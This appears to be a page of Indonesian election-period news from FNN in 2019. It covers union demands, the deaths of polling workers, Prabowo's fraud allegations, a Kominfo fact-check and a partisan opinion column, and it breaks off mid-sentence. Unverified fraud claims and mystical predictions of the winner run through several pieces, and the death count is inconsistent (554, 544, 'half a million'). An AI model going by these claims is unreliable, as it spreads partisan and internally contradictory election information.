NASIONAL

KSPI Buka Pos Pengaduan THR Untuk Para Buruh

JAKARTA, FNN - Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal menyerukan kepada para pengusaha untuk membayarkan THR kepada para buruh sesuai dengan Permenaker No. 06 Tahun 2016 tentang THR Keagamaan Bagi Pekerja/Buruh di Perusahaan yang besarnya minimal 1 bulan upah. Bagi pekerja yang memiliki masa kerja di bawah 1 tahun, THR nya dibayarkan proporsional sesuai jumlah bulan bekerja. Contoh orang yang baru bekerja 3 bulan, maka THR nya dibayar 3/12 kali upah yang diterima per bulan. KSPI membuka Posko Pengaduan THR di kantor-kantor Cabang KSPI/FSPMI di Jakarta, Bogor, Tangerang, Serang, Cilegon, Bekasi, Depok, Karawang, Purwakarta, Bandung, Cimahi, Cianjur, Semarang, Jepara, Kendal, Demak, Surabaya, Mojokerto, Sidoarjo, Pasuran, Medan, Deli Serdang, Labuhan Batu, Aceh, Batam, Bintan, Bengkulu, Makassar, Balikpapan, dan kota-kota industri lainnya. Dalam kaitan dengan itu, KSPI mendesak Menteri Ketenagakerjaan untuk menindak tegas terhadap pengusaha yang tidak membayar THR. “Bila perlu ditingkatkan menjadi tindakan pidana bagi pengusaha yang tidak membayar THR karena tidak memehuni hak buruh dalam bentuk nominal rupiah,” kata Iqbal dalam siaran persnya, Jumat (10/5/2019). Iqbal menghimbau buruh yang tidak menerima THR dapat melaporkan hal ini sebagai dugaan tindak pidana ke Desk Tenaga Kerja Polda Metro Jaya yang akan diproses sesuai mekanisme hukum yang berlaku. (rob)

KSPI Desak Pemerintah dan DPR Bentuk TGPF Selidiki Wafatnya 554 KPPS

JAKARTA, FNN - Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal meminta Pemerintah dan DPR RI untuk membentuk Tim Gabungan Pencari Fakta atas meninggalnya 554 orang yang bertugas saat pemungutan dan penghitungan suara dalam penyelenggarakan Pilpres dan Pileg 2019. Menurut Iqbal, hal ini merupakan tragedi kemanusiaan dan hak asasi manusia yang harus disuarakan dengan keras di Negara yang menganut sistem demokrasi. Sebagai tokoh buruh dunia yang duduk di badan PBB yaitu ILO yang juga sebagai Presiden KSPI, Said Iqbal berkepentingan dan ikut peduli untuk menyuarakan permasalahan ini. Karena itulah, ia mendesak agar Tim Gabungan Pencari Fakta (TGPF) kematian KPPS segera dibentuk. Said Iqbal menyampaikan 3 hal yang mendasari pentingnya dibentuk TGPF: Pertama, jumlah orang yang meninggal banyak sekali. Dimana KPU mengumumkan jumlahnya mencapai 554 orang. Kejadian ini adalah tragedi kemanusiaan, karena sebelumnya tidak pernah terjadi hal seperti ini. Di Negara-negara Eropa, misalnya di Brussel dan Paris, ketika ada yang meninggal puluhan orang saja masyarakat simpil dan buruh sudah meneriakkan #SaveBrussel dan #SaveParis. “Dengan jumlah kematian yang mencapai 554 orang, wajar jika gerakan buruh dan masyarakat sipil lainnya menyerukan #SaveIndoensia,” kata Iqbal dalam siaran persnya, Jumat (10/5/2019). Kedua, mereka yang meninggal meluas dan terjadi di berbagai wilayah di Republik Indonesia. Sehingga perlu dilakukan penyelidikan yang independen, ada apa yang sesungguhnya terjadi. Ketiga, jangan hanya sekedar menyederhanakan masalah dengan mengatakan mereka meninggal dunia karena faktor kelelahan. Oleh karena itu, perlu adanya visum et repertum dan autopsi dari lembaga yang berkompeten. Said Iqbal mendesak agar TGPF dibentuk dalam minggu ini, supaya hasil autopsi dan visum et repertum tidak terlalu lama didapat, sehingga akan lebih mudah menganalisa faktor kematian tersebut. Iqbal menyarankan anggota TGPF untuk Kematian KPPS terdiri dari unsur Ikatan Dokter Indonesia (IDI), unsur Komnas HAM, unsur Bawaslu, unsur Akademisi, unsur Masyarakat Sipil atau serikat buruh. “TGPF tidak melibatkan lembaga Negara, partai politik, dan tim pemenangan Capres. Sehingga akan bebas dari kepentingan dan memberikan dampak positif bagi kemaslahatan bangsa dan Negara,” tegasnya. Bilamana usulan ini tidak ditanggapi, KSPI akan menyerukan aksi besar-besaran di seluruh wilayah Indonesia oleh serikat buruh dalam untuk mendesak pemerintah dan DPR agar mengusut tuntas kematian lebih dari setengah juta orang petugas pemilu ini. “Ini bukan persoalan siapa Capres yang akan menang. Ini lebih pada tragedi kemanusiaan,” tegasnya. (rob)

Komunitas Dokter Minta Kematian 554 KPPS Diselidiki

JAKARTA, FNN - Puluhan dokter spesialis dari berbagai institusi kesehatan yang tergabung dalam Komunitas Kesehatan Peduli Bangsa meminta agar pihak terkait untuk mengautopsi jenazah petugas KPPS (Kelompok Penyelenggara Pemungutan Suara) yang meninggal dunia selama proses Pemilu Raya 2019. Data sementara secara keseluruhan petugas pemilu yang tewas mencapai 554 orang. Sementara petugas yang sakit 3.788 orang. "Kematian karena kelelahan itu pasti ada penyebab-penyebab lain. Itu harus diperiksa tim gabungan pencari fakta. Secara pribadi saya sudah melaporkan ini ke Bareskrim. Laporan ke Bareskrim untuk mengungkap penyebab kematian petugas KPPS," kata dr Zulkifli, satu di antara anggota Komunitas Kesehatan Peduli Bangsa di Jakarta, Kamis (9/5/2019). Zulkifli menegaskan, dengan adanya 544 petugas KPPS yang meninggal dunia secara tidak wajar maka sudah tepat pihak terkait untuk mengautopsi salah satu jenazah petugas KPPS. Pilih satu jenazah yang potensi ketidakwajaran saat meninggalnya tinggi. Autopsi dilakukan untuk mengetahui penyebab kematiannya sehingga tidak memunculkan praduga negatif di masyarakat. "Kalau secara kedokteran tidak ada istilah kematian akibat kelelahan. Oleh karena itu Menteri Kesehatan harus ngomong karena itu akan lebih bagus," jelasnya. Zulkifli memaparkan, pihaknya curiga atas kematian petugas KPPS, karena jumlahnya yang sangat besar yakni mencapai 544 orang. Kejadian ini tidak pernah terjadi di dunia manapun saat gelar pemilu ada petugasnya yang meninggal dunia mencapai ratusan. Pihaknya meminta pihak terkait untuk mengusut kematian petugas KPPS karena kasus tersebut bisa delik aduan. Sehingga tanpa ada laporan pun harusnya sudah bisa mengusutnya. "Ini bukan delik aduan karena mati satupun harus dikejar apa penyebabnya. Karena mereka sudah tahu. Makanya saya sebagai dokter merasa terpanggil untuk mengungkap kasus ini," tegasnya. Lebih lanjut Zulkifli mengatakan, pihaknya harus menggelar konpers juga agar aktivitasnya tidak digembosi. Karena saat ini ada upaya yang menolak adanya autopsi terhadap petugas KPPS yang meninggal dunia. Padahal sesuai standar operasional prosedur (SOP) ketika ada kematian yang mencurigakan maka harus dilakukan autopsi untuk memastikan penyebab kematiannya. "Dengan banyaknya dokter berkumpul menyuarakan untuk autopsi maka. mereka akan bereaksi," tegasnya Bencana Kesehatan Nasional Sementara itu dr Bakta mengatakan, dengan banyak petugas KPPS, Panwaslu, dan polisi yang meninggal dunia selama proses pemilu maka bisa dianggap kejadian ini sebagai bencana kesehatan nasional. “Sehubungan kejadian banyaknya korban jatuh, baik sakit maupun meninggal dunia yang menimpa petugas KPPS, pengawas pemilu, dan anggota Polri selama proses penghitungan suara dalam Pemilu 2019 ini, maka Komunitas Kesehatan Peduli Bangsa menyatakan ini sebagai ‘Bencana Kesehatan Nasional’,” tutur Bakta. Dengan banyaknya korban yang meninggal dunia di Pemilu 2019, sambung Bakta, selain meminta autopsi terhadap jenazah petugas KPPS, pihaknya juga menuntut pemerintah menyatakan hari berkabung nasional dengan memasang bendera Merah Putih setengah tiang sampai dengan 22 Mei 2019. Selain itu enuntut pemerintah membentuk Tim Gabungan Pencari Fakta yang independen. "Kami juga mendorong Komnas HAM untuk meneliti adanya dugaan pelanggaran HAM dan membawa kasus tersebut ke forum internasional (Mahkamah International dan Dewan HAM PBB) serta menuntut pemerintah untuk bertanggung jawab penuh kepada semua korban dengan memberikan santunan yang sesuai undang-undang," tegasnya. Sementara itu Elza Syarief, pengacara Komunitas Kesehatan Peduli Bangsa mengatakan, yang dilakukan para dokter sebagai bentuk kepedulian bersama antarelemen masyarakat. Oleh karena itu pihaknya melakukan sesuatu yang terbaik untuk bangsa dan rakyat Indonesia agar kejadian serupa tidak berulang lagi. Apalagi jumlah petugas KPPS yang meninggal dunia sangat banyak. "Penyelamatan nyawa-nyawa manusia yang bisa kita cegah semaksimal mungkin,” ujarnya. Elza mengungkapkan ada 42 orang dokter yang bergabung dalam pernyataan sikap ini. Menurutnya, para dokter ini merupakan orang-orang yang memiliki empati, khususnya kepada para keluarga korban. “Kita adalah sesama manusia yang memiliki empati, simpati kepada keluarga yang ditinggalkan, turut berduka cita. Jangan membiarkan hal ini,” jelasnya. Elza menyebut, nyawa dari petugas KPPS tak sebanding dengan uang dengan uang duka yang diterima keluarganya. "Bukan semudah itu nyawa manusia. Karena nyawa manusia itu yang tertinggi. Karena bisa berhari-hari, bisa berbulan-bulan ingat masa hidupnya," paparnya. Elza berharap agar pihak Komisi Pemilihan Umum (KPU) bisa mencari solusi dari kasus meninggalnya ratusan petugas KPPS. Oleh karena itu KPU jangan hanya mengejar target pada tanggal 22 Mei 2019 sukses menyampaikan hasil rekapitulasi suara Pemilu 2019. Artinya, lanjut Elza, sistem penghitungan yang terkesan memaksakan ini harus diperbaiki. "Bukan dihentikan. Ya dihentikan sementara untuk perbaiki manajemen ini. Habis itu lanjut lagi tidak apa-apa. Kan itu semuanya tercatat. Semuanya ada C1, ada catatan-catatan, ada di IT. Kan enggak mungkin hilang kan. Tapi kalau manusia, bisa hilangkan nyawanya," jelasnya. Elza berkeinginan untuk melakukan investigasi dengan bekerja sama dengan pihak-pihak terkait. "Pertama, kita ingin melakukan investigasi dengan tim pencari fakta. Apa sebabnya, kita melakukan otopsi, forensik, dengan kerja sama pihak kepolisian," ujarnya. (rob)

Prabowo,"Saya Tidak Akan Menyerah"

Sentul (Rabu 01/05/2019) - Calon Presiden Republik Indonesia Nomor urut 02 Prabowo Subianto menegaskan dirinya tidak akan menyerah menghadapi kecurangan dalam penghitungan Pilpres 2019 oleh Komisi Pemilihan Umum (KPU). Hal ini disampaikan dalam acara Ijtima Ulama ke-3 di Hotel Lor In Sentul, Bogor, Jawa Barat. Prabowo menegaskan bahwa dirinya sama sekali tidak ada ambisi pribadi. Ia hanya menjadi alat rakyat untuk mewujudkan menegakkan hukum dan keadilan serta kesejahteraan di Indonesia. "Saya tidak ada ambisi pribadi untuk jabatan. Demi Allah, saya dan Sandi hanya alat untuk meraih kesejahteraan seluruh rakyat Indonesia," katanya. Prabowo akan selalu berada di barisan rakyat. "Selama rakyat menghendaki, saya akan terus berjuang. Saya tidak akan menyerah," tegasnya. (Wid) Adapun keputusan dan rekomendasi Ijtima Ulama III antara lain: 1. Menyimpulkan bahwa telah terjadi berbagai kecurangan dan kejahatan yang bersifat tersitruktur, sistematis dan masif dalam proses pemilu 2019. 2. Mendorong dan meminta kepada BPN PAS untuk mengajukan keberatan melalui mekanisme legal prosedural tentang terjadinya berbagai kecurangan dan kejahatan yang terstruktur, sistematis dan masif dalam proses pilpres 2019. 3. Mendesak Bawaslu dan KPU untuk memutuskan pembatalan/diskualifikasi paslon capres cawapres 01. 4. Mengajak umat dan seluruh anak bangsa untuk mengawal dan mendampingi perjuangan penegakan hukum dengan cara syar'i dan legal konstitusional dalam melawan kecurangan dan kejahatan serta ketidakadilan termasuk perjuangan/diskualifikasi paslon capres cawapres 01 yang melakukan kecurangan dan kejahatan dalam pilpres 2019. 5. Memutuskan bahwa perjuangan melawan kecurangan dan kejahatan serta ketidakadilan adalah bentuk amar makruf nahi munkar, konstitusional dan sah secara hukum demi menjaga keutuhan NKRI dan kedaulatan rakyat.

BPN IT Volunteers to Report to Bawaslu Incorrect KPU Real Count Data

Jakarta, FNN — IT Volunteer Group on the National Committee to Elect Prabowo-Sandi (BPN) will submit a report to The Election Supervisory Body (Bawaslu) and the General Elections Commission (KPU) that notes thousands of incorrect data entries into KPU’s vote counting platform. The report is expected to push Bawaslu and other responsible authorities to review and take concrete steps to address the matter. "At first, we planned to submit the report on Wednesday, May 1, but because it will be in conjunction with labor day, we will proceed with the submission on Thursday, May 2 to Bawaslu and KPU. We will be waiting for our team to finish the manual audit of the data, which is expected to be done tomorrow," BPN IT Volunteer Group Coordinator Mustofa Nahrawardaya said Tuesday. BPN’s IT volunteer group found 9,440 incorrect data entry on KPU’s real count website during the period of April 27 to Apr. 29, 2019. The team observed data from 172,174 polling stations out of 404,290, which is 42% of the total polling stations across Indonesia. Out of all the data observed, 6 percent of them were incorrect. "Everyday, we found more than one thousand incorrect data entry. These mistakes include inaccurate vote difference, numbers of total voters that exceed those subjected in the Final Voters List (DPT), and invalid ballots that don't add up to the total number of voters,” Nahrawardaya said Monday during a press conference at the Prabowo-Sandi Media Center. The findings were consistent over the three-day inspection, and no changes were made for such inaccuracies. Most mistakes were found in West Java (764 polling stations, 8% of total mistakes), Central Java (706 polling stations, 7.4% of total mistakes) and East Java (385 polling stations, 4% of total mistakes). "We also found indications of an explicit motive. In certain regions, the data would favor the 01 candidate, and subsequently disadvantage the 02 candidate. There is a constant motive... this is suspicious," Nahrawardaya said. BPN Spokespersons Coordinator Dahnil Anzar Simanjuntak said that KPU's data entry inaccuracies is a very serious matter. "Seeing how high the percentage of these mistakes is, we urgently urge arrangement of a fact finding team for electoral fraud, and to perform forensic auditing on KPU's real count platform,” Simanjuntak added during the Monday conference. Simanjuntak added that he strongly demands such actions to be executed in the hopes of ensuring high-quality democracy and eliminating doubts on the system and on the technicalities surrounding post-election activities. BPN’s IT Volunteer group will continue to execute the manual audit. This is so the public can receive daily updates on the data. From the data collected, the public can have a clear, factual, data-based illustration of the suspected structural, systematic, and massive fraud. "We will submit a daily report [on the findings] to KPU and Bawaslu even if they don't request for it," Mustofa said.

Jokowi Dipastikan Kalah dalam Pilpres 2019

Jakarta, FNN - Masa Pilpres 2019 sudah lewat dan kini hanya tinggal menunggu hasil penghitungan suara dilakukan oleh KPU. Di masa penantian ini, sejumlah kabar berseliweran. Salah satunya seperti yang diunggah akun Facebook Baihaqi Rahmadani. Ia mengunggah sebuah video pada Senin, 22 April 2019. Isi video tersebut mengklaim, tentang pasangan capres cawapres 01 Joko Widodo (Jokowi)-Ma'ruf Amin dipastikan kalah pada kontestasi Pilpres 2019. "Jokowi di pastikan kalah menurut UUD 1945 pasal 6A ayat 3 tolong viral kan ya teman" tulis Baihaqi Rahmadani menyertai unggahan videonya. Unggahan video tersebut sudah dilihat 36 ribu kali dan mendapat tanda suka 316. Unggahan itu juga dibagikan sebanyak 3.520 kali. Ada 109 komentar di dalamnya. Fakta Kementerian Komunikasi dan Informatika atau Kominfo sudah angkat bicara mengenai berita tersebut. Bahkan sebelum akun Facebook bernama Baihaqi Rahmadani menyebarkan melalui sosial medianya. Kominfo menggunggah artikel yang berjudul [DISINFORMASI] Jokowi Dipastikan Tidak Menang Pilpres 2019 Walaupun Suara Di Atas 50% pada Minggu, 21 April 2019. [Cek Fakta] Beredar Video Penjelasan soal Jokowi Tidak akan Bisa Menang dalam Pilpres 2019, Benarkah? "KATEGORI: DISINFORMASI Penjelasan : Telah beredar sebuah postingan yang memberikan keterangan bahwa Jokowi dipastikan tidak menang pilpres 2019 walaupun perolehan suara di atas 50% karena 3 syarat pasal 6a ayat 3 UUD 1945 selain menang di atas 50% juga harus memenangkan suara di 1/2 jumlah provinsi serta di 17 provinsi yang kalah suara harus di atas 20%. Faktanya adalah Pakar hukum tata negara Yusril Ihza Mahendra menegaskan bahwa penentuan pemenangan pilpres jika hanya diikuti oleh dua pasangan calon presiden-wakil presiden hanya berdasarkan jumlah suara terbanyak. Bagi pasangan calon (paslon) yang meraih suara terbanyak, maka yang bersangkutan dinyatakan menang dan dilantik KPU menjadi presiden dan wakil presiden. Link Counter : https://www.beritasatu.com/nasional/549817-pilpres-2019-yusril-penentuan-pemenang-berdasarkan-suara-terbanyak.html?fbclid=IwAR3Aij8UqfOFyfT5jALZJs6QYePcDsz9dzFkfCxiVd4svhNUdNoSdkcH66c https://www.hukumonline.com/berita/baca/lt53b54418c9eaf/mk-putuskan-pilpres-2014-satu-putaran?fbclid=IwAR216-j6h8CtLw1lxwpFKXQT6ji2tQOTLiytBEOZnlcm6m-CtovZjq0ritk http://www.dpr.go.id/jdih/perkara/id/169/id_perkara/703?fbclid=IwAR23XP8H2BZk-d_PCgpn-EfLzb27c9fHbDtSGMx5zhd6b1qtbF6_DcpX0LQ" Salah satu sumbernya adalah artikel hukumonline.com yang berjudul, MK Putuskan Pilpres 2014 Satu Putaran yang dipublikasikan pada Kamis, 3 Juli 2014 lalu. [Cek Fakta] Beredar Video Penjelasan soal Jokowi Tidak akan Bisa Menang dalam Pilpres 2019, Benarkah? "Akhirnya, majelis hakim Mahkamah Konstitusi (MK) mengabulkan permohonan uji materi Pasal 159 ayat (1) UU No. 42 Tahun 2008 tentang Pemilihan Presiden dan Wakil Presiden (UU Pilpres) terkait syarat sebaran pemenangan pilpres yang diajukan Forum Pengacara Konstitusi. Mahkamah menyatakan Pasal 159 ayat (1) UU Pilpres inkonstitusional bersyarat sepanjang pilpres hanya diikuti dua pasangan calon (paslon) presiden dan wakil presiden. Dengan begitu, pelaksanaan Pilpres 2014 yang hanya diikuti dua pasangan calon dipastikan bakal berlangsung satu putaran dengan mekanisme suara terbanyak. Syarat sebaran 20 persen telah dinyatakan tidak berlaku. “Pasal 159 ayat (1) UU Pilpres bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengiat sepanjang tidak dimaknai tidak berlaku untuk pasangan calon presiden dan wakil presiden yang hanya terdiri dari dua pasangan calon,” tutur Ketua Majelis MK, Hamdan Zoelva saat membacakan putusan bernomor 50/PUU-XII/2014 di ruang sidang MK, Kamis (03/7). Uji materi UU Pilpres itu diajukan tigapemohon yakni Forum Pengacara Konstitusi, Perkumpulan untuk Pemilu dan Demokrasi (Perludem), dan dua orang advokat atas nama Sunggul Hamonangan Sirait dan Haposan Situmorang. Ketiga pemohon meminta tafsir atas syarat sebaran perolehan suara 20% dalam Pasal 159 ayat (1) UU Pilpres dihubungkan dengan Pasal 6A ayat (3) dan (4) UUD 1945 demi kepastian hukum. Namun, putusan permohonan Perludem dan dua advokat itu dinyatakan nebis in idem. Pasal 159 ayat (1) tak merinci jumlah paslon karena pengertian paslon terpilih melekat syarat limitatif. Pasangan calon harus memperoleh suara lebih 50 persen dan sedikitnya 20 persen suara di setiap provinsi yang tersebar di setengah jumlah provinsi di Indonesia. Persoalannya, jika syarat limitatif itu tak terpenuhi sangat mungkin pilpres terjadi dua putaran sekalipun pilpres hanya diikuti dua paslon seperti Pilpres tahun ini. Dengan terjadinya dua putaran dengan pasangan calon presiden yang sama mengakibatkan pemborosan keuangan negara dan menimbulkan ketidakstabilan politik. Karena itu, Pasal 159 ayat (1) UU Pilpres dinyatakan bertentangan dengan UUD 1945 dan tidak memiliki hukum mengikat sepanjang tidak dimaknai bahwa pasangan calon dimaksud lebih dari dua pasangan calon. Dalam pertimbangannnya, Mahkamah mengakui risalah pembahasan Pasal 6A ayat (3) UUD 1945 tidak membicarakan secara ekspresis verbis apabila pasangan calon presiden dan wakil presiden terdiri dari dua paslon. Hanya saja, saat perubahan ketiga, muncul persoalan yang belum terselesaikan bagaimana solusinya jika pasangan calon presiden tidak ada yang memenuhi syarat Pasal 6A ayat (3) UUD 1945. Bagaimana kalau terjadi pasangan calon hanya terdiri dari dua pasangan calon? Ada dua pilihan. Pertama, dua pasangan yang memperoleh suara terbanyak pertama, atau kedua dipilih kembali oleh rakyat atau dipilih oleh MPR. “Pada perubahan keempat UUD 1945 diputuskan untuk dipilih langsung oleh rakyat tanpa memperhatikan persyaratan yang ditentukan Pasal 6A ayat (3) UUD 1945,” kata Hakim Konstitusi Muhammad Alim. Meski tidak ada penegasan Pasal 6A ayat (3) UUD 1945 dikaitkan konteks lahirnya Pasal 6A UUD 1945, dapat ditarik kesimpulan pembahasan saat itu terkait dengan asumsi pasangan calon presiden dan wakil presiden lebih dari dua pasangan calon. Selain itu, atas dasar penafsiran gramatikal dan sistematis makna keseluruhan pasal 6A UUD 1945 menyiratkan pasangan calon lebih dari dua pasangan calon. Menurut Mahkamah jika sejak semula hanya ada dua pasangan calon, tidak perlu ada penegasan kalimat “dua pasangan calon yang memperoleh suara terbanyak pertama dan kedua...” dalam Pasal 6A ayat (4) UUD 1945. Sebab, dengan dua pasangan tentulah salah satu diantara keduanya memperoleh suara terbanyak pertama atau kedua. “Prinsip paling penting adalah kedaulatan rakyat, sehingga presiden terpilih memperoleh legitimasi kuat dari rakyat.” Terkait Pilpres 2014 yang hanya diikuti dua pasangan calon, Mahkamah berpendapat tahap pencalonan pasangan calon presiden dan wakil presiden telah memenuhi prinsip representasi keterwakilan Indonesia karena calon presiden sudah didukung oleh gabungan partai politik nasional yang merepresentasikan keterwakilan seluruh wilayah Indonesia. “Dengan demikian tujuan kebijakan pemilihan presiden yang mepresentasikan seluruh rakyat dan daerah di Indonesia sudah terpenuhi,” kata Alim. Karena itu, Pasal 159 ayat (1) UU Pilpres harus dimaknai apabila terdapat lebih dari dua pasangan calon presiden dan wakil presiden. Artinya, jika hanya ada dua pasangan calon presiden dan wakil presiden, pasangan calon yang memperoleh suara terbanyak seperti dimaksud Pasal 6A ayat (4) UUD 1945 tidak perlu dilakukan pemilihan langsung oleh rakyat pada pemilihan kedua. Dissenting Putusan ini diwarnai perbedaan pendapat (dissenting opinion) dari dua hakim konstitusi yakni Patrialis Akbar dan Wahiduddin Adams. Patrialis Akbar sepakat jika pilpres dilakukan satu putaran dengan tetap memberlakukan Pasal 159 ayat (1) UU Pilpres. Ketika hanya ada dua pasangan capres dan cawapres, pasal itu diberlakukan secara konstitusional bersyarat dengan melakukan tahapan perhitungan perolehan suara. Misalnya, perhitungan tahap pertama untuk menentukan capres dan cawapres terpilih berdasarkan Pasal 6A ayat (3) UUD 1945 dengan sedikitnya 20 persen suara di setiap provinsi yang tersebar lebih dari setengah jumlah provinsi di Indonesia. Apabila, perhitungan tahap pertama tidak terpenuhi baru dilakukan tahap kedua dengan hanya menggunakan suara terbanyak tanpa mempertimbangkan sebaran pemilih. “Apabila ketentuan Pasal 159 ayat (1) dimaknai bertentangan dengan UUD 1945 jika capres-cawapres hanya diikuti dua pasangan calon maka telah terjadi pengabaian terhadap Pasal 6A ayat (3) UUD 1945,” tandas Patrialis. Wahiduddin Adams menyatakan persebaran suara yang diperoleh capres cawapres secara nasional tidak bisa diabaikan. Sebab, langkah ini untuk menghindari terjadinya fenomena capres-cawapres yang hanya fokus berkampanye di daerah-daerah yang padat pemilihnya. Dia khawatir jika kondisi hanya terdapat dua pasangan capres-cawapres, Pasal 159 ayat (1) tidak diberlakukan, tidak menutup kemungkinan akan lahir presiden yang hanya mewakili daerah strategis saja. “Representasi suara di daerah yang kurang strategis akan hilang begitu saja,” katanya. Selain itu, Pilpres 2014 yang dilaksanakan cukup satu putaran pun akan menimbulkan permasalahan hukum karena pelaksanaannya tidak sesuai dengan Pasal 6A UUD 1945. Usai persidangan, Sekjen Forum Pengacara Konstitusi, Heru Widodo menegaskan putusan MK menunjukkan bahwa UUD 1945 memang tidak memberi jawaban atau jalan keluar jika pasangan capres dan cawapres hanya dua pasangan calon. “Perubahan UUD 1945 tidak pernah terpikir hanya dua pasangan calon jika dihubungkan dengan kondisi saat ini,” kata Heru. Menurut dia, MK telah memberikan tafsir yang jelas terhadap kondisi pilpres yang hanya diikuti dua pasangan calon. Dengan demikian, pihaknya berharap Komisi Pemilihan Umum (KPU) segera menyesuaikan peraturannya sesuai dengan putusan MK ini. “Peraturan KPU itu tidak berlaku dan harus menyesuaikan dengan putusan MK ini,” harapnya."

Moda Kereta Api Dorong Pariwisata Garut

Jakarta, FNN - Reaktivasi atau pengaktifan kembali jalur kereta api (KA) di Jawa Barat bagian selatan diharapkan mampu benar-benar mendorong kemajuan pariwisata di wilayah Garut, Pangandaran, dan Ciwidey. Reaktivasi jalur KA ini sejak awal ditujukan untuk mendorong kemajuan sektor pariwisata yang dampaknya akan meningkatkan ekonomi masyarakat. Kementerian Perhubungan menginisiasi 4 proyek reaktivasi jalur KA meliputi Cibatu-Garut-Cikajang (47,5 km), Rancaekek-Tanjungsari (11,5 km), Banjar-Pangandaran-Cijulang (82 km), dan Bandung-Ciwidey (37,8 km). “Reaktivasi keempat jalur KA ini untuk mendukung pariwisata yang ada di Garut, Pangandaran, dan Ciwidey sebagai destinasi wisata unggulan Jawa Barat,” kata Menteri Perhubungan (Menhub) Budi Karya Sumadi. Menpar Arief Yahya menjelaskan, konektivitas kereta api sebagai unsur penting dari 3A (Atraksi, Amenitas, dan Aksesibilitas) sangat digemari wisatawan karena nyaman. “Wisatawan bisa menggunakan kereta api wisata yang dioperasikan oleh PT KAI,” kata Arief Yahya dalam keterangan yang diterima Kontan.co.id, Minggu (28/4). Menpar Arief Yahya mengatakan, 4 jalur KA hasil reaktivasi akan menjadi konektivas utama ke obyek wisata yang ada di Garut, Ciwidey, dan Pangandaran. “Dari Bandung ke obyek wisata Situ Bagendit melalui Stasiun Cibatu hanya sekitar 1,5 jam. Sepanjang perjalanan wisatawan dapat menikmati pemandangan alam dari kereta api. Ini perjalanan yang ideal bagi wisatawan,” imbuh Arief Yahya. Ke depan obyek wisata Situ Bagendit akan direvitalisasi dan ditata ulang agar menjadi destinasi yang lebih menarik dan berkelas dunia. “Untuk menarik wisatawan milenial, Kemenpar bersama Bupati Garut akan membangun tiga destinasi digital,” kata Arief Yahya. Gubernur Jawa Barat (Jabar) Ridwan Kamil menjelakan, Pemprov Jabar telah mengalokasikan anggaran sebesar Rp 30 miliar dan Pemerinah Pusat melalui Kementerian PUPR sebesar Rp 100 miliar untuk merevitalisasi obyek wisata Situ Bagendit. “Kami menargetkan tahun depan revitalisasi akan selesai sehingga ketika kita kembali ke sini sudah banyak perubahan,” kata Ridwan Kamil. Bupati Garut Rudy Gunawan mengatakan, melalui kegiatan pariwisata ekonomi masyarakat di sekitar obyek wisata Situ Bagendit semakin meningkat dan angka kemiskinan dapat turun hingga 2%. “Kegiatan pariwisata berdampak langsung pada kesejahteraan masyakat,” kata Rudy Gunawan. (kontan)

Waktunya Sudah Habis Pak Jokowi

Oleh : Hersubeno Arief Jakarta, FNN – Hanya ada satu kalimat yang paling tepat untuk menggambar kan dua peristiwa penting yang terjadi pada hari Kamis (11/4). “Waktunya sudah habis Pak Jokowi.” Menyerahlah dengan damai. Jangan menambah kesalahan. Ditemukannya puluhan ribu surat suara yang sudah tercoblos di Malaysia, dan dukungan para ulama kasyaf kepada Prabowo seperti disampaikan Ustad Abdul Somad, seharusnya bisa ditangkap sebagai isyarat alam “Pilpres sudah selesai.” Sulit untuk menjelaskan secara rasional dua fenomena ini, kecuali dengan pendekatan metafisik. Pendekatan ilahiah. Manusia boleh merancang, membuat skenario, melakukan konspirasi. Tetapi sebaik-baik rancangan manusia, skenario manusia, konspirasi manusia, rancangan Allah lah yang terbaik ( Wamakaruu, wamakarallah. Wallohu khoirul maakirin ). Melihat gelombang besar dukungan rakyat kepada Prabowo-Sandi, kecurangan adalah salah satu fitur terpenting yang tersisa bagi paslon 01 untuk memenangkan pilpres. Tak ada cara lain kecuali menggunakan itu. Sejauh ini fitur itu berjalan secara sistematis dan mulus. Mulai dari keanehan jutaan data pemilih tetap (DPT). Penyimpangan anggaran pemerintah melalui bansos dan CSR BUMN yang digunakan sebagai money politics. Pengerahan aparat intelijen dan kepolisian untuk menekan dan menggiring rakyat memilih paslon 01. Dan beraneka ragam kecurangan yang sulit diperinci satu persatu saking banyaknya. Semua berjalan mulus, tanpa bisa dicegah. Dengan kekuasaan di tangan, kontrol terhadap alat negara, terutama aparat keamanan, tak ada kekuatan yang bisa mencegah. Mereka bisa dengan cepat menutup kasus-kasus penyimpangan dan pelanggaran yang terjadi. Ketika peristiwanya muncul di publik, dengan kontrol media mereka dengan segera bisa membalikkan tuduhan sebagai fitnah dan kabar bohong, hoax! Namun tiba-tiba muncul kecurangan di Malaysia. Puluhan ribu surat suara sudah tercoblos pada bagian gambar paslon 01. Puluhan ribu surat suara sudah tercoblos pada nama caleg dari Nasdem, partai pendukung pemerintah. Surat suara atas nama anak Dubes RI di Malaysia Rusdi Kirana. Sebagai Dubes, petinggi PKB, pemilik Lion Air Group itu merupakan representasi dua kepentingan Jokowi. PKB adalah partai pendukung Jokowi, dan sebagai Dubes dia adalah perwakilan pemerintah di luar negeri. Pemerintah Indonesia, aparat keamanan Indonesia tidak bisa menutup-nutupinya. Semua itu diluar yuridiksi mereka. Kasusnya tidak bisa lagi di 86-kan. Sudah menjadi skandal yang menyebar ke seantero penjuru dunia. Sudah menjadi pemberitaan media asing. Di Jakarta tiba-tiba ulama kondang Ustad Abdul Somad (UAS) bertemu Prabowo. UAS dan Aa Gym seperti pengakuan mantan Ketua Umum PPP Romahurmuziy sudah berhasil ditundukkan dan dibuat netral. Melihat besarnya jamaah dan pengaruhnya posisi dua da’i kondang ini, pilihan politik mereka akan ikut menentukan ke mana umat akan melabuhkan suaranya. UAS tidak datang atas nama dirinya sendiri. Sebagaimana pengakuannya dia bertemu sejumlah ulama kasyaf, ulama yang diyakini hijabnya dengan Allah SWT sudah terbuka. Mereka ini bukan ulama yang masyhur, bukan ulama seleb yang sering muncul di televisi, maupun medsos. Ulama yang sangat menjaga kesuciannya dan sudah meninggalkan kehidupan dunia. “Semua membisikkan nama Prabowo,” ujar UAS. Video pertemuan UAS dengan Prabowo yang ditayangkan TV One itu langsung viral. Di Youtube, semua akun yang menayangkan video itu kebanjiran penonton. Jumlahnya mencapai jutaan view hanya dalam hitungan jam. Salah satu yang paling banyak mendapat komentar adalah sikap UAS yang minta tidak diundang ke istana Insya Allah setelah Prabowo terpilih. UAS minta jangan diberi jabatan apapun. Dia tetap ingin mengabdi berkhidmat kepada umat melalui jalur dakwah. UAS menunjukkan 